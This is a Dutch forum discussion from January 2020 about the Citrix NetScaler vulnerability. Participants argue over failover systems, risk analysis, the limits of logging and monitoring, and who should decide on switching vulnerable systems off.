Als je een werkelijk niet kwetsbaar schaduwsysteem kan maken dan zou dat (ook) het hoofdsysteem moeten zijn. Als het alleen maar niet kwetsbaar is omdat het niet aan internet hing dan zal het zodra het wordt aangesloten ook ten prooi vallen aan dezelfde kwetsbaarheid die het hoofdsysteem om zeep hielp.
Ja duh. Niet kwetsbaar zoals ik schreef in mijn bovenste bijdrage:
Vanzelfsprekend moeten dit soort systemen niet van hetzelfde merk en type zijn. Tevens moet het aantoonbaar zijn dat ze niet allebei van dezelfde kritische componenten gebruikmaken (bijvoorbeeld OpenSSL, nginx en dergelijke); hoe meer verschillen, hoe beter. En mochten dat soort alternatieven nog niet bestaan, dan moeten we ervoor zorgen dat ze worden ontwikkeld.
En daarom ongetwijfeld prijzig.Dat is niet niet kwetsbaar, dat is alleen maar zoveel mogelijk verschillend, waarbij je hoopt als het hoofdsysteem wordt aangevallen d.m.v. een kwetsbaarheid, dat het schaduwsysteem dan - op dat moment - niet dezelfde of zelfs een andere kwetsbaarheid heeft. Omdat het laatste systeem altijd in de schaduw staat zal dat pas aan licht komen als het actief wordt. Misschien is het ondertussen een grotere gatenkaas geworden dan het hoofdsysteem.
-------------------------------
Door Erik van Straten: Uit https://www.ncsc.nl/actueel/nieuws/2020/januari/16/door-citrix-geadviseerde-mitigerende-maatregelen-niet-altijd-effectief:
UPDATE: Schakel Citrix-systemen uit waar dat kan of tref aanvullende maatregelen
Nieuwsbericht | 17-01-2020 | 23:09
[...]
Nieuwsbericht | 17-01-2020 | 23:09
[...]
18-01-2020, 09:33 door
Erik van Straten
Door The FOSS: Dat is niet niet kwetsbaar, dat is alleen maar zoveel mogelijk verschillend, waarbij je hoopt als het hoofdsysteem wordt aangevallen d.m.v. een kwetsbaarheid, dat het schaduwsysteem dan - op dat moment - niet dezelfde of zelfs een andere kwetsbaarheid heeft. Omdat het laatste systeem altijd in de schaduw staat zal dat pas aan licht komen als het actief wordt. Misschien is het ondertussen een grotere gatenkaas geworden dan het hoofdsysteem.
Zucht. Nog maar een keer dan:1) Als een systeem een groter risico vormt dan bij het ontwerp als vereist niveau is vastgesteld, ook als workaounds dat niveau niet weten te halen, moet je het niet meer gebruiken (tot het weer wel het vereiste niveau haalt);
2) Als de beschikbaarheidseisen van een dienst niet worden gehaald door het wegvallen van 1, kan een uitwijksysteem die rol overnemen. Voor de veiligheidseisen t.a.v. dat uitwijksysteem: ga naar 1.
P.S. Je wordt er een betere ICT-er, securityexpert en mens van als je het durft toe te geven als je ongelijk hebt of had.
Door Anoniem:
Nee mijn aanname is niet onterecht. Het is zo dat enkele ziekenhuizen delen van hun EPD laten bouwen en soms layen beheren zoals door ICTZ, het merendeel bouwt en beheert deze infra echt zelf. Hoe ik dat weet, beroepsmatig kom ik bij een groot van de ict afdelingen van ziekenhuizen.
Dan moet je ook waarnemen dat de instructies vanuit leverancier en bepaalde "zo hoort het" instellingen een zware rol spelen.Nee mijn aanname is niet onterecht. Het is zo dat enkele ziekenhuizen delen van hun EPD laten bouwen en soms layen beheren zoals door ICTZ, het merendeel bouwt en beheert deze infra echt zelf. Hoe ik dat weet, beroepsmatig kom ik bij een groot van de ict afdelingen van ziekenhuizen.
Dat is wat ik beroepsmatig overal tegenkom. https://mxi.nl/klanten/57/radboudumc-unieke-epd-implementatie
Je merkt er som wat van aan de buitenkant https://www.zorgvisie.nl/radboudumc-worstelt-met-epic-1516293w/
Ja het dagelijks beheer wordt uiteindelijk intern gedaan. Wel met de eis dat de mensen opgeleid moeten zijn met alle instructies door de externe leverancier. " Als uitgangspunt namen we bijna altijd de best practices die Epic in de VS al in zo’n 260 ziekenhuizen heeft geïmplementeerd."
Door Anoniem: @ Erik van Straten,
Deze Citrix-Sh*trix ellende is natuurlijk wel weer een opsteker voor CloudFlare diensten,
als in dit geval CloudFlare Access, die de connecties wel weet te beschermen.
Later krijgen we dan weer een soort "outsourced" laag over laag beveiliging. (in dit geval bewaakte connectie).
Tot we totaal afhankelijk zijn gemaakt. We hebben dan zelfs de evaluatie methodieken niet meer zelf binnenshuis.
M.i. blijft loggen via snort rules toch wel belangrijk om tenminste inzicht te houden wat betreft hoe en waar we hadden kunnen zijn gecompromitteerd.
Wat vind jij hiervan, Erik?
luntrus
Er zijn meer providers die deze diensten kunnen leveren. Deze Citrix-Sh*trix ellende is natuurlijk wel weer een opsteker voor CloudFlare diensten,
als in dit geval CloudFlare Access, die de connecties wel weet te beschermen.
Helping mitigate the Citrix NetScaler CVE with Cloudflare Access.
Cloudflare Access can help teams build a defense-in-depth mitigation to the Citrix NetScaler CVE for HTTP and SSH requests.
Quote genoemd artikel is van de hand van Sam Rhea verschenen op The Cloudflare Blog.Cloudflare Access can help teams build a defense-in-depth mitigation to the Citrix NetScaler CVE for HTTP and SSH requests.
Later krijgen we dan weer een soort "outsourced" laag over laag beveiliging. (in dit geval bewaakte connectie).
Tot we totaal afhankelijk zijn gemaakt. We hebben dan zelfs de evaluatie methodieken niet meer zelf binnenshuis.
M.i. blijft loggen via snort rules toch wel belangrijk om tenminste inzicht te houden wat betreft hoe en waar we hadden kunnen zijn gecompromitteerd.
Wat vind jij hiervan, Erik?
luntrus
Ook veel NGFW kunnen gewoon in het HTTPs verkeer offloaden. Deze kun je dus heel simpel op je eigen locatie draaien. Ze moeten natuurlijk wel voldoende zwaar zijn. Maar technisch gezien, doen die het zelfde als Citrix. Die doet juist ook Offloading en kan ook heel goed in het verkeer kijken. Het is juist ook een WAF of WAP.
Door Anoniem:
Er zijn ongetwijfeld allerlei oplossingen mogelijk. Persoonlijk heb ik echter geen ervaring met Netscalers/ADCs, maar o.a. uit de reacties op Tweakers maak ik op dat deze Citrix producten meer functionaliteit bieden dan een standaard VPN server. En anders dan dat ik Cloudflare soms tegenkom als gebruiker, weet ik ook onvoldoende van hun diensten om daar iets zinvols over te kunnen zeggen.Door Anoniem (luntrus): Deze Citrix-Sh*trix ellende is natuurlijk wel weer een opsteker voor CloudFlare diensten [...]
Er zijn meer providers die deze diensten kunnen leveren. Door Anoniem (luntrus): Later krijgen we dan weer een soort "outsourced" laag over laag beveiliging. (in dit geval bewaakte connectie). Tot we totaal afhankelijk zijn gemaakt. We hebben dan zelfs de evaluatie methodieken niet meer zelf binnenshuis.
Dat is ook niet persé nodig, mits je onafhankelijke en ter zake kundige partijen erbij betrekt in de ontwerpfase, bij wijzigingen en voor audits tussendoor. Vooral voor kleinere bedrijven is het een onmogelijke opgave om op elk gebied zelf expertise in huis te hebben. Bijvoorbeeld brancheverenigingen kunnen wellicht adviseren m.b.t. betrouwbare en vakkundige partijen, maar vragen daarover kun je ook op sites als deze stellen (waarbij je natuurlijk nooit zomaar alles moet geloven).Door Anoniem (luntrus): M.i. blijft loggen via snort rules toch wel belangrijk om tenminste inzicht te houden wat betreft hoe en waar we hadden kunnen zijn gecompromitteerd.
Waarschijnlijk komt uit elke risicoanalyse dat logging en evt. monitoring verstandig zijn. Zelf heb ik ook al meermaals geschreven: assume compromise. Dan helpt het absoluut als je zones maakt en op de overgangen daartussen zoveel mogelijk verkeer inspecteert, en alarm slaat bij afwijkingen.Waar ik wel bezwaar tegen maak is de claim dat (extra) logging en monitoring kan worden ingezet om kwetsbaarheden in systemen te mitigeren; de kans dat je ongeautoriseerde toegang opmerkt is veel te klein bij aanvallers die weten wat ze doen. Daarbij kunnen ze je ook afleiden door te doen of ze script-kiddie zijn en veel lawaai te maken, terwijl ze ondertussen stilletjes daadwerkelijk hun slag slaan (bijv. door een rootkit te installeren, waarna ze onderzoekers kunnen laten zien wat zij willen).
M.a.w. logging en monitoring zijn in de eerste plaats middelen die eraan bijdragen (geen garanties dus) dat wordt opgemerkt (monitoring om dat live te doen, logging achteraf) dat er iets fout ging. Ten eerste loop je dus altijd achter de feiten aan. En ten tweede, als aanvallers zorgen dat de filters die je -ongetwijfeld- gebruikt (anders is er bijna altijd veel te veel informatie) ook hun activiteit verhullen, gaan de alarmbellen niet af.
Daarbij is Snort, net als antivirus, afhankelijk van het herkennen van reeds bekende patronen. De "betere" cybercrimenelen (maar ook geheime diensten van meer en minder goed bevriende landen) zijn er meesters in om patronen zo te wijzigen dat ze niet worden gedetecteerd.
Kortom, mede omdat detectie niet gegarandeerd is en er al schade kan zal zijn geleden zodra er wel alarmbellen afgaan, zijn logging en monitoring ongeschikt als preventieve maatregel om (actuele en/of latere) schade te voorkomen.
Mijn grootste zorg bij Netscaler/ADC systemen die veel te laat zijn uitgezet, is dat aanvallers login-gegevens van reguliere gebruikers hebben verzameld (als iemand met verstand van die producten dit kan ontkrachten of bevestigen, lees ik dag graag). Ga dan met logging/monitoring maar eens vaststellen wat legitiem is en wat niet.
@ Erik van Straten We praten langs elkaar heen vrees ik. Niet dat ik het beter zou kunnen maar wat ik bedoel is dat het 'halen van het vereiste niveau' klinkt als achter de feiten aanrennen en resulteert in iets 'veilig' noemen totdat het gehackt wordt. Dan overstappen op het uitwijksysteem, waarvoor hetzelfde geldt. Dat zou ik geen 'niet kwetsbaar' willen noemen. Het is hooguit een variant op het met testen kan je alleen de aanwezigheid van fouten aantonen, niet de afwezigheid.
Door The FOSS: Dan overstappen op het uitwijksysteem, waarvoor hetzelfde geldt.
Ga naar 1 in mijn vorige aan jou gerichte bijdrage.Door The FOSS: Dat zou ik geen 'niet kwetsbaar' willen noemen. Het is hooguit een variant op het met testen kan je alleen de aanwezigheid van fouten aantonen, niet de afwezigheid.
Als dat jouw criterium is, kun je niks meer op internet aansluiten. Lees je in over de actueel gangbare methode van beveiligen (en tegenwoordig ook kwaliteit/ISO 9001): voer weloverwogen risicoanalyses uit. Zoveel mogelijk voordat crises zich voordoen.Ik begrijp niet dat jij met jouw computer jouw bijdragen via internet durft te schrijven - tenzij je denkt dat je niks te verbergen hebt en/of dat jouw PC + besturingssysteem onkwetsbaar zijn. Groei op als je serieus genomen wilt blijven worden.
Door Erik van Straten:
Mijn grootste zorg bij Netscaler/ADC systemen die veel te laat zijn uitgezet, is dat aanvallers login-gegevens van reguliere gebruikers hebben verzameld (als iemand met verstand van die producten dit kan ontkrachten of bevestigen, lees ik dag graag). Ga dan met logging/monitoring maar eens vaststellen wat legitiem is en wat niet.
Mijn grootste zorg bij Netscaler/ADC systemen die veel te laat zijn uitgezet, is dat aanvallers login-gegevens van reguliere gebruikers hebben verzameld (als iemand met verstand van die producten dit kan ontkrachten of bevestigen, lees ik dag graag). Ga dan met logging/monitoring maar eens vaststellen wat legitiem is en wat niet.
Netscaler is gewoon een VPN concentrator. Je logt in op dat ding (authenticatie zal dan via AD evt aangevuld met RADIUS
bijv voor 2nd factor gaan) en dan krijg je een SSL VPN vebinding naar het interne netwerk waar de eigenlijke applicatie
servers staan. Daarna gaat het verder net zo als wanneer je Citrix alleen lokaal gebruikt (ja dat kan ook, de indruk in
deze affaire is dat Citrix een "thuiswerkoplossing" is maar er zijn zat gebruikers die het gewoon op hun LAN of WAN
draaien zonder internet koppeling). Je krijgt een verbinding met een door die ADC aangewezen interne Windows Server
em daar word je dan meteen met dezelfde credentials ingelogd. Dat is dan een voordeel boven het gebruik van een
algemeen type VPN of een VPN concentrator van een ander merk. Daar zul je wellicht eerst moeten authenticeren voor
de VPN en daarna nog eens inloggen op de server.
Die hele constructie maakt het ook zo nutteloos om over "de Citrix-servers" te praten want meestal worden daar die
Windows Servers mee bedoeld en die zijn er helemaal niet bij betrokken!
Naar wat ik begrijp is dit lek een mogelijkheid om zo'n VPN te kunnen opbouwen zonder dat je geauthenticeerd bent.
Dat levert op zich verder niks op want dan kun je niet inloggen op de server, maar het feit dat je op een intern netwerk
bent zal wellicht gaten openleggen waar je vanaf internet geen toegang toe hebt. Maar die dus waarschijnlijk op het
LAN van het betreffende bedrijf ook aanwezig zijn.
Als ik THE FOSS en Erik van Straten zo beluister is er dus hierbij steeds sprake van een relatieve vorm van veiligheid.
Een systeem is dus steeds meer of minder onbetrouwbaar. Meestal begint het als je ergens malcode "in the wild" ziet toepassen. Het is daarvoor echter al vaak langere tijd relatief onveilig.
Als ik een DOM_XSS scan heb gedaan en alle sources (output, die kan worden gecontroleerd) en sinks (de methodes daartoe) niet met name heb uitgeprobeerd als vectoren, weet ik niet hoe kwetsbaar ik ben. Zonder vulners rapport en check weet ik dus niet waar ik bij Retire.JS alerts op moet letten en wat ik precies moet afserveren.
Ook in dit geval is de hoofdregel, alles wat men digitaal heeft verworven moet ook weer ter zijner tijd weer worden afgevoerd. Dat geldt dus ook voor bepaalde Citrix code.
End of lifetime komt dus tegenwoordig vanwege allerlei toegenomen cybercriminele dreigingen steeds sneller dichterbij.
Het verhaal is hier, er gebeurt gewoon "too little, too late". Aanrommelen zolang het goed gaat meestal.
Bijvoorbeeld CSP, waar ontbreekt het overal nog onterecht en waar ik het tegenkom, hoe vaak is het dan niet voldoende goed geimplementeerd (verkeerde interactie met json bijvoorbeeld).
Als je slecht beveiligde websites (niet perse amateur websites) met slecht geconfigureerd CMS niet van het Internet verwijderen wil, ga je verder in dit stramien tot we echt arriveren bij "dit is dan het einde van het Internet"-bordje.
Decisionmakers, die niet voldoende technisch onderlegd zijn en niet wensen te luisteren naar hun digitale raadgevers en toch op veiligheid wensen te bezuinigen moeten eens een keer verantwoordelijk gehouden worden voor de puinhopen die ze veroorzaakt hebben, alsmede de ongelooflijke risico's en kosten, die ze lekker afwentelen op het gemeen (en dat zijn jij en ik). En slecht functionerende CEO en managers moeten niet blijven zitten vanwege de vele winsten en bonussen die ze voor zichzelf en de stakeholders binnen brengen maar ook afgerekend worden op de maatschappelijke puinhopen, die ze elke dag bijna veroorzaken. Wat kost zo'n sh*trix ellende de BV Nederland niet, om van wereldwijde service-time-out maar te zwijgen.
J.O.
Een systeem is dus steeds meer of minder onbetrouwbaar. Meestal begint het als je ergens malcode "in the wild" ziet toepassen. Het is daarvoor echter al vaak langere tijd relatief onveilig.
Als ik een DOM_XSS scan heb gedaan en alle sources (output, die kan worden gecontroleerd) en sinks (de methodes daartoe) niet met name heb uitgeprobeerd als vectoren, weet ik niet hoe kwetsbaar ik ben. Zonder vulners rapport en check weet ik dus niet waar ik bij Retire.JS alerts op moet letten en wat ik precies moet afserveren.
Ook in dit geval is de hoofdregel, alles wat men digitaal heeft verworven moet ook weer ter zijner tijd weer worden afgevoerd. Dat geldt dus ook voor bepaalde Citrix code.
End of lifetime komt dus tegenwoordig vanwege allerlei toegenomen cybercriminele dreigingen steeds sneller dichterbij.
Het verhaal is hier, er gebeurt gewoon "too little, too late". Aanrommelen zolang het goed gaat meestal.
Bijvoorbeeld CSP, waar ontbreekt het overal nog onterecht en waar ik het tegenkom, hoe vaak is het dan niet voldoende goed geimplementeerd (verkeerde interactie met json bijvoorbeeld).
Als je slecht beveiligde websites (niet perse amateur websites) met slecht geconfigureerd CMS niet van het Internet verwijderen wil, ga je verder in dit stramien tot we echt arriveren bij "dit is dan het einde van het Internet"-bordje.
Decisionmakers, die niet voldoende technisch onderlegd zijn en niet wensen te luisteren naar hun digitale raadgevers en toch op veiligheid wensen te bezuinigen moeten eens een keer verantwoordelijk gehouden worden voor de puinhopen die ze veroorzaakt hebben, alsmede de ongelooflijke risico's en kosten, die ze lekker afwentelen op het gemeen (en dat zijn jij en ik). En slecht functionerende CEO en managers moeten niet blijven zitten vanwege de vele winsten en bonussen die ze voor zichzelf en de stakeholders binnen brengen maar ook afgerekend worden op de maatschappelijke puinhopen, die ze elke dag bijna veroorzaken. Wat kost zo'n sh*trix ellende de BV Nederland niet, om van wereldwijde service-time-out maar te zwijgen.
J.O.
" 1) Als een systeem een groter risico vormt dan bij het ontwerp als vereist niveau is vastgesteld, ook als workaounds dat niveau niet weten te halen, moet je het niet meer gebruiken (tot het weer wel het vereiste niveau haalt); "
en nu de reele wereld dingen:
- ontwerp is niet altijd goed en dat blijkt in de noodsituatie pas
- ontwerp was nooit volledig in de praktijk geimplementeerd want het bleek in praktijk niet werkbaar/haalbaar
- ontwerp is inmiddels achterhaald want tijden veranderen en er wordt nooit voldoende onderhoud gedaan aan documentatie
- verandering in ontwerp zitten nog in een buraucratische pijp vast want er moet over vergaderd worden en door veel kereltjes met dasjes en egos, gepaard met bokito behaviour, over geplast worden
...
...
efin theorie != praktijk en de noodsituatie is altijd in de praktijk en nooit in de theorie en dat is een waarheid als een koe die iedere agent, noodarts, test piloot, soldaat etc. etc. zal bevestigen. achteraf en vooraf op papier != op dat moment in ze shit. (security) managers zouden er goed aan doen (vooral in tijden van nood) de lead bij de ervaren veld experts te laten.
en nu de reele wereld dingen:
- ontwerp is niet altijd goed en dat blijkt in de noodsituatie pas
- ontwerp was nooit volledig in de praktijk geimplementeerd want het bleek in praktijk niet werkbaar/haalbaar
- ontwerp is inmiddels achterhaald want tijden veranderen en er wordt nooit voldoende onderhoud gedaan aan documentatie
- verandering in ontwerp zitten nog in een buraucratische pijp vast want er moet over vergaderd worden en door veel kereltjes met dasjes en egos, gepaard met bokito behaviour, over geplast worden
...
...
efin theorie != praktijk en de noodsituatie is altijd in de praktijk en nooit in de theorie en dat is een waarheid als een koe die iedere agent, noodarts, test piloot, soldaat etc. etc. zal bevestigen. achteraf en vooraf op papier != op dat moment in ze shit. (security) managers zouden er goed aan doen (vooral in tijden van nood) de lead bij de ervaren veld experts te laten.
18-01-2020, 18:50 door
The FOSS
Door Erik van Straten:
Door The FOSS: Dan overstappen op het uitwijksysteem, waarvoor hetzelfde geldt.
Ga naar 1 in mijn vorige aan jou gerichte bijdrage.Dat staat en valt op het weten dan wel niet weten van de problemen. Wat niet weet wat niet deert gaat juist niet op.
Door Erik van Straten:
Door The FOSS: Dat zou ik geen 'niet kwetsbaar' willen noemen. Het is hooguit een variant op het met testen kan je alleen de aanwezigheid van fouten aantonen, niet de afwezigheid.
Als dat jouw criterium is, kun je niks meer op internet aansluiten. Lees je in over de actueel gangbare methode van beveiligen (en tegenwoordig ook kwaliteit/ISO 9001): voer weloverwogen risicoanalyses uit. Zoveel mogelijk voordat crises zich voordoen.Dat is het altijd met mensen die vastzitten in hoe het al jarenlang gedaan wordt. Je gaat dingen vanzelfsprekend vinden die eigenlijk helemaal niet zo vanzelfsprekend zijn.
Door Erik van Straten: Ik begrijp niet dat jij met jouw computer jouw bijdragen via internet durft te schrijven - tenzij je denkt dat je niks te verbergen hebt en/of dat jouw PC + besturingssysteem onkwetsbaar zijn. Groei op als je serieus genomen wilt blijven worden.
Mijn PC + besturingssysteem? Niet kapot te krijgen...
Door The FOSS: Mijn PC + besturingssysteem? Niet kapot te krijgen...
"Everybody has plans, until they get hit."
___ Mike Tyson
18-01-2020, 20:53 door
Erik van Straten
Door Anoniem: [...]
efin theorie != praktijk en de noodsituatie is altijd in de praktijk en nooit in de theorie en dat is een waarheid als een koe die iedere agent, noodarts, test piloot, soldaat etc. etc. zal bevestigen. achteraf en vooraf op papier != op dat moment in ze shit. (security) managers zouden er goed aan doen (vooral in tijden van nood) de lead bij de ervaren veld experts te laten.
Het alternatief, ad hoc wel/niet handelen, wie draait nog stokoude versies (gok: heel veel organisaties), het NOS journaal halen en dus veel ruis, zie je nu overal om je heen gebeuren.efin theorie != praktijk en de noodsituatie is altijd in de praktijk en nooit in de theorie en dat is een waarheid als een koe die iedere agent, noodarts, test piloot, soldaat etc. etc. zal bevestigen. achteraf en vooraf op papier != op dat moment in ze shit. (security) managers zouden er goed aan doen (vooral in tijden van nood) de lead bij de ervaren veld experts te laten.
Daarbij hebben "veld experts" totaal geen overzicht over de risico's van uitzetten en van openhouden. Bovendien hebben zij, in de praktijk, het zelden voor het zeggen, en adviseren management. Terecht, want dat management is eindverantwoordelijk.
Management dat ook geconfronteerd wordt met gebruikers die om het hardst roepen bij uitzetten niet meer kunnen werken en (management dat) ook onzeker is over onvoorziene bijwerkingingen die leiden tot extra productieverlies. En anderzijds zelf niet kunnen inschatten wat de risico's van openhouden zijn, en bijv. hoe goed workarounds werken (heeft die "expert" van mij er echt zoveel verstand van als hij zegt dat hij heeft?). En hoe groot de imagoschade en AP-boetes zijn als je, onder de huidige omstandigheden (breed uitgemeten in de media), op je snuit gaat.
Daarbij, een beheerder die al lang geleden had zullen upgraden naar een actuele versie, maar dat (bijvoorbeeld wegens drukte en de inschatting "het loopt wel los") - nog niet gedaan heeft, denkt wel twee keer na voordat zij/hij op dat moment tegen de baas opbiecht dat de workaround niet werkt vanwege achterstallig onderhoud. Been there, seen that.
Die combinatie van onzekerheden is vragen om de ellende die we op dit moment zien. Besluiten worden genomen onder druk van grove inschattingen, niet van zekerheden. De enige zekerheid op dit moment is dat je, als je zo'n systeem gebruikt, door een zero-day vulnerability - waar exploits voor zijn gepubliceerd - hartstikke kwetsbaar bent. Onder bepaalde omstandigheden zou een workaround - naar verluidt- die risico's kunnen mitigeren, maar de gegevens onder welke omstandigheden dat opgaat zijn minstens één keer gewijzigd. Kortom, hoogstwaarschijnlijk kwetsbaar, heel misschien niet. Rekening houdend met de gegevens van burgers en patiënten waar je mee gokt, hoort de keuze duidelijk te zijn.
Zijn risicoanalyses vooraf feilloos? Nee, zeker niet. Maar dat is wel het moment om - zonder de huidige druk - de afweging te maken of een uitwijksysteem noodzakelijk en tegelijk economisch verantwoord is voor dit soort situaties, of dat bijvoorbeeld een week zonder "thuiswerken" (rekening houdend met het aantal flexplekken, parkeerplaatses, voorraad koffiebonen en WC-papier, etc.) acceptabel is. Desnoods met ploegendiensten en de daarbij gepaard gaande extra kosten.
Nogmaals, het is m.i. onacceptabel om te gokken met gegevens van burgers en patiënten als je weet dat er een realistische dreiging bestaat - en helemaal als systemen van anderen reeds zijn gecompromiteerd.
Bizar trouwens dat veel partijen melden nog niets te hebben gemerkt van aanvallen, terwijl ongetwijfeld good guys als Matthijs Koot en een veelvoud aan bad guys al aan de deur hebben gerammeld (of al binnen zijn geweest). Alleen dat bewijst al dat veel partijen geen idee hebben waar ze over bullshitten.
Door Erik van Straten:
Daarbij hebben "veld experts" totaal geen overzicht over de risico's van uitzetten en van openhouden. Bovendien hebben zij, in de praktijk, het zelden voor het zeggen, en adviseren management. Terecht, want dat management is eindverantwoordelijk.
Management dat ook geconfronteerd wordt met gebruikers die om het hardst roepen bij uitzetten niet meer kunnen werken en (management dat) ook onzeker is over onvoorziene bijwerkingingen die leiden tot extra productieverlies. En anderzijds zelf niet kunnen inschatten wat de risico's van openhouden zijn, en bijv. hoe goed workarounds werken (heeft die "expert" van mij er echt zoveel verstand van als hij zegt dat hij heeft?). En hoe groot de imagoschade en AP-boetes zijn als je, onder de huidige omstandigheden (breed uitgemeten in de media), op je snuit gaat.
Daarbij, een beheerder die al lang geleden had zullen upgraden naar een actuele versie, maar dat (bijvoorbeeld wegens drukte en de inschatting "het loopt wel los") - nog niet gedaan heeft, denkt wel twee keer na voordat zij/hij op dat moment tegen de baas opbiecht dat de workaround niet werkt vanwege achterstallig onderhoud. Been there, seen that.
Die combinatie van onzekerheden is vragen om de ellende die we op dit moment zien. Besluiten worden genomen onder druk van grove inschattingen, niet van zekerheden. De enige zekerheid op dit moment is dat je, als je zo'n systeem gebruikt, door een zero-day vulnerability - waar exploits voor zijn gepubliceerd - hartstikke kwetsbaar bent. Onder bepaalde omstandigheden zou een workaround - naar verluidt- die risico's kunnen mitigeren, maar de gegevens onder welke omstandigheden dat opgaat zijn minstens één keer gewijzigd. Kortom, hoogstwaarschijnlijk kwetsbaar, heel misschien niet. Rekening houdend met de gegevens van burgers en patiënten waar je mee gokt, hoort de keuze duidelijk te zijn.
Zijn risicoanalyses vooraf feilloos? Nee, zeker niet. Maar dat is wel het moment om - zonder de huidige druk - de afweging te maken of een uitwijksysteem noodzakelijk en tegelijk economisch verantwoord is voor dit soort situaties, of dat bijvoorbeeld een week zonder "thuiswerken" (rekening houdend met het aantal flexplekken, parkeerplaatses, voorraad koffiebonen en WC-papier, etc.) acceptabel is. Desnoods met ploegendiensten en de daarbij gepaard gaande extra kosten.
Nogmaals, het is m.i. onacceptabel om te gokken met gegevens van burgers en patiënten als je weet dat er een realistische dreiging bestaat - en helemaal als systemen van anderen reeds zijn gecompromiteerd.
Bizar trouwens dat veel partijen melden nog niets te hebben gemerkt van aanvallen, terwijl ongetwijfeld good guys als Matthijs Koot en een veelvoud aan bad guys al aan de deur hebben gerammeld (of al binnen zijn geweest). Alleen dat bewijst al dat veel partijen geen idee hebben waar ze over bullshitten.
Door Anoniem: [...]
efin theorie != praktijk en de noodsituatie is altijd in de praktijk en nooit in de theorie en dat is een waarheid als een koe die iedere agent, noodarts, test piloot, soldaat etc. etc. zal bevestigen. achteraf en vooraf op papier != op dat moment in ze shit. (security) managers zouden er goed aan doen (vooral in tijden van nood) de lead bij de ervaren veld experts te laten.
Het alternatief, ad hoc wel/niet handelen, wie draait nog stokoude versies (gok: heel veel organisaties), het NOS journaal halen en dus veel ruis, zie je nu overal om je heen gebeuren.efin theorie != praktijk en de noodsituatie is altijd in de praktijk en nooit in de theorie en dat is een waarheid als een koe die iedere agent, noodarts, test piloot, soldaat etc. etc. zal bevestigen. achteraf en vooraf op papier != op dat moment in ze shit. (security) managers zouden er goed aan doen (vooral in tijden van nood) de lead bij de ervaren veld experts te laten.
Daarbij hebben "veld experts" totaal geen overzicht over de risico's van uitzetten en van openhouden. Bovendien hebben zij, in de praktijk, het zelden voor het zeggen, en adviseren management. Terecht, want dat management is eindverantwoordelijk.
Management dat ook geconfronteerd wordt met gebruikers die om het hardst roepen bij uitzetten niet meer kunnen werken en (management dat) ook onzeker is over onvoorziene bijwerkingingen die leiden tot extra productieverlies. En anderzijds zelf niet kunnen inschatten wat de risico's van openhouden zijn, en bijv. hoe goed workarounds werken (heeft die "expert" van mij er echt zoveel verstand van als hij zegt dat hij heeft?). En hoe groot de imagoschade en AP-boetes zijn als je, onder de huidige omstandigheden (breed uitgemeten in de media), op je snuit gaat.
Daarbij, een beheerder die al lang geleden had zullen upgraden naar een actuele versie, maar dat (bijvoorbeeld wegens drukte en de inschatting "het loopt wel los") - nog niet gedaan heeft, denkt wel twee keer na voordat zij/hij op dat moment tegen de baas opbiecht dat de workaround niet werkt vanwege achterstallig onderhoud. Been there, seen that.
Die combinatie van onzekerheden is vragen om de ellende die we op dit moment zien. Besluiten worden genomen onder druk van grove inschattingen, niet van zekerheden. De enige zekerheid op dit moment is dat je, als je zo'n systeem gebruikt, door een zero-day vulnerability - waar exploits voor zijn gepubliceerd - hartstikke kwetsbaar bent. Onder bepaalde omstandigheden zou een workaround - naar verluidt- die risico's kunnen mitigeren, maar de gegevens onder welke omstandigheden dat opgaat zijn minstens één keer gewijzigd. Kortom, hoogstwaarschijnlijk kwetsbaar, heel misschien niet. Rekening houdend met de gegevens van burgers en patiënten waar je mee gokt, hoort de keuze duidelijk te zijn.
Zijn risicoanalyses vooraf feilloos? Nee, zeker niet. Maar dat is wel het moment om - zonder de huidige druk - de afweging te maken of een uitwijksysteem noodzakelijk en tegelijk economisch verantwoord is voor dit soort situaties, of dat bijvoorbeeld een week zonder "thuiswerken" (rekening houdend met het aantal flexplekken, parkeerplaatses, voorraad koffiebonen en WC-papier, etc.) acceptabel is. Desnoods met ploegendiensten en de daarbij gepaard gaande extra kosten.
Nogmaals, het is m.i. onacceptabel om te gokken met gegevens van burgers en patiënten als je weet dat er een realistische dreiging bestaat - en helemaal als systemen van anderen reeds zijn gecompromiteerd.
Bizar trouwens dat veel partijen melden nog niets te hebben gemerkt van aanvallen, terwijl ongetwijfeld good guys als Matthijs Koot en een veelvoud aan bad guys al aan de deur hebben gerammeld (of al binnen zijn geweest). Alleen dat bewijst al dat veel partijen geen idee hebben waar ze over bullshitten.
joh ik hoop dat je nooit een ongeluk gaat hebben en dat er in de ambulance iemand een skype meeting met zijn manager gaat plannen via sharepoint outlook powerprut voordat die persoon een helpende hadn naar je uit steekt. misschien dat je dan het verschil tussen theorie en praktijk ervaart.
19-01-2020, 10:59 door
Erik van Straten
Door Anoniem: joh ik hoop dat je nooit een ongeluk gaat hebben en dat er in de ambulance iemand een skype meeting met zijn manager gaat plannen via sharepoint outlook powerprut voordat die persoon een helpende hadn naar je uit steekt. misschien dat je dan het verschil tussen theorie en praktijk ervaart.
Als de tegenargumenten zich tot dit niveau beperken, heb ik kennelijk een goed punt ;-)Door Anoniem: efin theorie != praktijk en de noodsituatie is altijd in de praktijk en nooit in de theorie
Door Anoniem: joh ik hoop dat je nooit een ongeluk gaat hebben en dat er in de ambulance iemand een skype meeting met zijn manager gaat plannen via sharepoint outlook powerprut voordat die persoon een helpende hadn naar je uit steekt. misschien dat je dan het verschil tussen theorie en praktijk ervaart.
Misschien moet je eens wat theoretische kennis opdoen over wat dat begrip "theorie" eigenlijk inhoudt. Theorie staat niet tegenover praktijk, theorie beschrijft wat we begrijpen van de praktijk en helpt ons de praktijk te verbeteren. Een goede theorie, ook als die over noodsituaties gaat, staat de praktijk niet in de weg maar verbetert hem juist.Door Erik van Straten:
Door Anoniem: joh ik hoop dat je nooit een ongeluk gaat hebben en dat er in de ambulance iemand een skype meeting met zijn manager gaat plannen via sharepoint outlook powerprut voordat die persoon een helpende hadn naar je uit steekt. misschien dat je dan het verschil tussen theorie en praktijk ervaart.
Als de tegenargumenten zich tot dit niveau beperken, heb ik kennelijk een goed punt ;-)dream on, misschien sla je ook de plank helemaal mis. lees je eigen betoog eerst nog eens en zie dat die puur en alleen gaat over ICT/security veldwerkes en dat terwijl ik het over hele andere veld werkers heb. veldwerkers die niet met ict bezig zijn, maar met mensen en de reele zaken ipv virtuele dingen. dus vandaar mijn ambulance opmerking, hopende dat je de clue dan wel te pakken heb. maar ja hoop... het was geen garantie.
